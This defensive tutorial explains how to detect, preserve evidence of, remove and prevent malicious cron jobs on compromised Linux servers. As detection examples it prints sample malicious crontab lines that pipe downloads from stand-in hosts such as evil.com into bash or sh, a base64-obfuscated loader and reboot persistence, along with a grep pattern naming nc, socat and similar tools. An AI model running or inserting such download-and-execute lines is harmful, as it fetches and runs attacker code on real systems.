A compromised Linux server can continue running malware long after the initial intrusion. One of the most common persistence techniques is a malicious cron job that silently downloads payloads, restarts malware, or re-establishes attacker access every few minutes.
This guide shows how to identify suspicious cron entries, preserve forensic evidence, remove unauthorized scheduled tasks, and verify that no additional persistence mechanisms remain.
Do not start deleting cron entries the moment you see something strange. That can destroy useful timestamps, command paths, usernames, and network indicators. Capture the state first.
Backup cron configuration:
sudo tar -czf cron-backup-$(date +%Y%m%d).tar.gz \
/var/spool/cron /etc/crontab /etc/cron.d /etc/cron.hourly \
/etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
Save the current user’s crontab:
crontab -l > my-crontab-backup.txt 2>/dev/null
Save the system crontab:
sudo cat /etc/crontab > system-crontab-backup.txt
Collect recent cron logs on Ubuntu or Debian:
sudo grep CRON /var/log/syslog
sudo grep CRON /var/log/syslog | grep -E "(curl|wget|bash)"
Collect recent cron logs on Red Hat, CentOS, or Fedora:
sudo grep CRON /var/log/cron
sudo grep CRON /var/log/cron | grep -E "(curl|wget|bash)"
Check recent service activity:
journalctl -u cron --since "1 hour ago" 2>/dev/null || journalctl -u crond --since "1 hour ago"
Grab process and network context before cleanup:
ps auxww
ss -tulpn
sudo lsof -i -n -P
This is not busywork. If cron is only one part of the compromise, these outputs can help you trace the payload, the parent process, and possible outbound infrastructure.
Start with the current user, then move across every account. User crontabs are easy to miss during cleanup because they sit outside the obvious /etc/cron.* directories.
Check the current user’s crontab:
crontab -l
List stored user crontabs:
sudo ls -la /var/spool/cron/crontabs/ 2>/dev/null || sudo ls -la /var/spool/cron/
Check each user’s cron jobs:
for user in $(getent passwd | cut -f1 -d:); do
echo "=== Cron jobs for $user ==="
sudo crontab -u "$user" -l 2>/dev/null || echo "No crontab"
done
Inspect system-wide cron locations:
sudo ls -la /etc/cron.* 2>/dev/null
sudo cat /etc/crontab
sudo ls -la /etc/cron.d/ 2>/dev/null
sudo ls -la /etc/cron.hourly/ 2>/dev/null
sudo ls -la /etc/cron.daily/ 2>/dev/null
Watch for cron jobs that download and execute code:
* * * * * curl http://evil.com/malware.sh | bash
Look for jobs that run every minute:
* * * * * curl http://malicious-website/payload.sh | bash
Check reboot persistence:
@reboot /tmp/.hidden/payload
Decode suspicious base64 only after copying it somewhere safe:
echo 'YmFzaCAuLi4=' | base64 -d
Do not run decoded payloads. Read them. Big difference.
Network tools inside cron deserve review. curl, wget, nc, bash, sh, python, perl, base64, eval, and exec are not automatically malicious, but they are common in loader chains.
Example suspicious download-and-run pattern:
* * * * * wget -O - http://malicious.com/script | sh
Example obfuscated entry:
* * * * * echo "Y3VybCBedNRwOl8vZXZQbC5jb60=" | base64 -d | bash
Scripts launched from temporary paths need attention:
* * * * * /tmp/.hidden/miner
* * * * * bash /var/tmp/update.sh
A job running every minute is not always bad. Detection scripts can check crontabs for malicious activity. Malicious cron jobs can reinfect the file system and execute malicious code on a schedule. But if the command downloads code, runs from /tmp, hides in a dot-directory, or has no owner who can explain it, treat it as suspicious.
This script does not remove anything. It just surfaces cron entries that deserve manual review.
#!/bin/bash
# Cron Security Auditor
echo "=== Checking cron jobs for review ==="
for user in $(getent passwd | cut -f1 -d:); do
sudo crontab -u "$user" -l 2>/dev/null | \
grep -E '(curl|wget|nc|ncat|socat|base64|eval|exec|python|perl|php|openssl)' && \
echo "[REVIEW] Investigate cron entries for user: $user"
done
find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly \
-type f -exec grep -H -E '(curl|wget|nc|ncat|socat|base64|eval|exec|python|perl|php|openssl)' {} \; 2>/dev/null
grep -r "^\* \* \* \* \*" /etc/crontab /etc/cron.d /var/spool/cron 2>/dev/null
echo "=== Audit complete ==="
Review each hit before touching it. Ask who owns it, what it runs, why it runs on that schedule, and whether the file path matches normal operations.
For a user crontab, edit first when possible:
crontab -e
Remove only the malicious line, then save.
To remove the full current user crontab:
crontab -r
To remove a specific user’s crontab:
sudo crontab -r -u username
To remove one line non-interactively:
# Show line numbers
crontab -l | cat -n
# Remove line 27 (example)
crontab -l | sed '27d' | crontab -
Clean system cron locations only after confirming the file is unauthorized:
sudo rm -i /etc/cron.d/suspicious-file
sudo rm -i /etc/cron.hourly/malicious-script
sudo rm -i /etc/cron.daily/backdoor.sh
Edit /etc/crontab manually if the entry lives there:
sudo vi /etc/crontab
Restart cron if needed:
sudo systemctl restart cron 2>/dev/null || sudo systemctl restart crond 2>/dev/null
sudo systemctl status cron 2>/dev/null || sudo systemctl status crond
Once the cron entry is gone, remove the payload it was launching. If you delete the payload first, cron may not immediately stop trying to recreate or download it again.
# Find suspected files first. Review output before deleting anything.
sudo find /tmp /var/tmp -xdev \( -name "malicious.sh" -o -name ".hidden-miner" -o -name "suspicious-process" \) -ls
Confirm the process is no longer running:
pgrep -a -f 'suspicious-process' || echo "No matching process found"
Watch for the process returning:
watch -n 60 'pgrep -a -f "suspicious-process" || echo "No matching process found"'
Monitor cron logs while you wait:
if [ -f /var/log/syslog ]; then
sudo tail -f /var/log/syslog | grep CRON
elif [ -f /var/log/cron ]; then
sudo tail -f /var/log/cron | grep CRON
else
journalctl -u cron -u crond -f
fi
If you remove a suspicious cron job and it reappears later, the cron entry is probably not the root cause. Something else is recreating it.
Check for configuration management tools that automatically deploy scheduled tasks. Systems managed by Ansible, Puppet, Chef, Salt, or similar platforms may restore cron jobs during the next configuration run.
Look for systemd services or timers that recreate files:
sudo systemctl list-timers --all
sudo systemctl list-unit-files | grep enabled
Inspect custom service definitions:
sudo grep -R "cron" /etc/systemd/system /usr/lib/systemd/system 2>/dev/null
In containerized environments, the cron job may be baked into the image. If the container is recreated, the cron entry will return. Check the container configuration and image build files instead of repeatedly deleting the job from the running container.
Review account activity if the cron job continues to reappear after removal. A compromised user account can simply recreate the entry.
Check recent logins:
last -a | head -20
Review authentication logs:
sudo grep -iE "accepted|session opened|sudo" /var/log/auth.log 2>/dev/null || \
sudo grep -iE "accepted|session opened|sudo" /var/log/secure 2>/dev/null
If the cron job keeps returning, focus on identifying what is recreating it rather than deleting it repeatedly. The cron entry is often a symptom of a larger persistence mechanism.
Cron may not be the only foothold. Check systemd services:
systemctl list-units --type=service --all
systemctl status suspicious-service
Check systemd timers:
systemctl list-timers --all
Review startup scripts:
ls -la /etc/init.d/ 2>/dev/null
ls -la /etc/rc*.d/ 2>/dev/null
ls -la /etc/profile.d/ 2>/dev/null
Check SSH keys:
cat ~/.ssh/authorized_keys 2>/dev/null
sudo cat /root/.ssh/authorized_keys 2>/dev/null
Review authentication logs:
sudo grep -iE "failed|failure|accepted|session opened|sudo" /var/log/auth.log 2>/dev/null || \
sudo grep -iE "failed|failure|accepted|session opened|sudo" /var/log/secure 2>/dev/null
sudo last -a | head -20
If the attacker had root access, assume more than cron changed. Verify packages, binaries, sudo rules, shell profiles, SSH config, and exposed services.
Use allow and deny lists where they fit your environment. These files restrict who can use the crontab command. They do not stop already-running cron jobs. Remove existing unauthorized crontabs first.
Create an allow list:
sudo vi /etc/cron.allow
Add approved users:
root
admin
ostechnix
Deny everyone else:
# When /etc/cron.allow exists, only users listed there can use crontab on common cron implementations.
# Do not add "ALL" to /etc/cron.deny; cron.deny expects usernames.
sudo touch /etc/cron.deny
Set tighter permissions:
sudo chown root:root /etc/crontab 2>/dev/null
sudo chmod 644 /etc/crontab 2>/dev/null
sudo chown root:root /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
sudo chmod 755 /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
sudo find /etc/cron.d -type f -exec chown root:root {} \; -exec chmod 644 {} \; 2>/dev/null
sudo find /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly -type f -exec chown root:root {} \; -exec chmod go-w {} \; 2>/dev/null
sudo chmod 644 /etc/cron.allow /etc/cron.deny 2>/dev/null
Be careful with permissions. Test scheduled business jobs after changes, especially backup scripts and maintenance tasks.
Forward cron logs to a central host when possible. Local logs are useful, but not if the attacker can edit them.
Rsyslog example:
# In /etc/rsyslog.conf or a file under /etc/rsyslog.d/
cron.* @@logserver.example.com:514
# Restart rsyslog
sudo systemctl restart rsyslog
Use AIDE to monitor cron paths:
# Install AIDE
sudo apt install aide -y 2>/dev/null || sudo dnf install aide -y || sudo yum install aide -y
# Initialize database
sudo aideinit 2>/dev/null || sudo aide --init
# Some distributions create a new database that must be moved into place
# before integrity checks can run. Check your distribution's AIDE documentation
# if the command below fails.
sudo mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 2>/dev/null || true
# Configure to monitor cron directories
sudo vi /etc/aide/aide.conf 2>/dev/null || sudo vi /etc/aide.conf
Add rules similar to these, using your distribution's existing rule names if available:
/etc/cron.d CONTENT_EX
/etc/cron.hourly CONTENT_EX
/etc/cron.daily CONTENT_EX
/etc/cron.weekly CONTENT_EX
/etc/cron.monthly CONTENT_EX
/var/spool/cron CONTENT_EX
Run checks:
sudo aide --check
Tripwire is another option:
sudo apt install tripwire -y 2>/dev/null || sudo dnf install tripwire -y || sudo yum install tripwire -y
sudo tripwire --init
sudo tripwire --check
For a live view during triage:
#!/bin/bash
# cron-monitor.sh
while true; do
clear
echo "=== Active Cron Jobs ==="
for user in $(getent passwd | cut -f1 -d:); do
echo "User: $user"
sudo crontab -u "$user" -l 2>/dev/null | grep -v "^#"
done
echo ""
echo "=== Recent Cron Executions ==="
if [ -f /var/log/syslog ]; then
sudo tail -20 /var/log/syslog | grep CRON
elif [ -f /var/log/cron ]; then
sudo tail -20 /var/log/cron | grep CRON
else
journalctl -u cron -u crond -n 20 --no-pager
fi
sleep 60
done
Note: Many systems restrict access to /var/log/syslog and /var/log/cron. Using sudo helps avoid permission errors and ensures complete log visibility during investigations.
Cron should be reviewed like sudo rules, firewall rules, and exposed services. Not daily on every host, but often enough that unauthorized changes do not sit for months.
Run a weekly audit script:
#!/bin/bash
# Add to your weekly security checklist
/usr/local/bin/cron-audit.sh | mail -s "Weekly Cron Audit" This email address is being protected from spambots. You need JavaScript enabled to view it.
Schedule it:
0 9 * * 1 /usr/local/bin/weekly-cron-audit.sh
Use OSQuery where available:
# Install osquery
sudo apt install osquery -y 2>/dev/null || sudo dnf install osquery -y || sudo yum install osquery -y
# Query cron jobs
osqueryi "SELECT * FROM crontab;"
Use Lynis for broader system checks:
sudo apt install lynis -y 2>/dev/null || sudo dnf install lynis -y || sudo yum install lynis -y
sudo lynis audit system
sudo lynis show suggestions
Malicious cron jobs are not complicated. That is the problem. A single scheduled command can download malware, restart a backdoor, or restore attacker access long after the original compromise.
The response should stay simple too. Preserve evidence. Review user and system cron locations. Remove the unauthorized entry. Delete the launched files. Check systemd, startup scripts, SSH keys, and login profiles. Then lock down who can create scheduled jobs and monitor the cron paths for changes.
Cron is normal admin plumbing. Treat unexpected changes to it like a persistence signal. Not proof by itself, but enough to keep digging.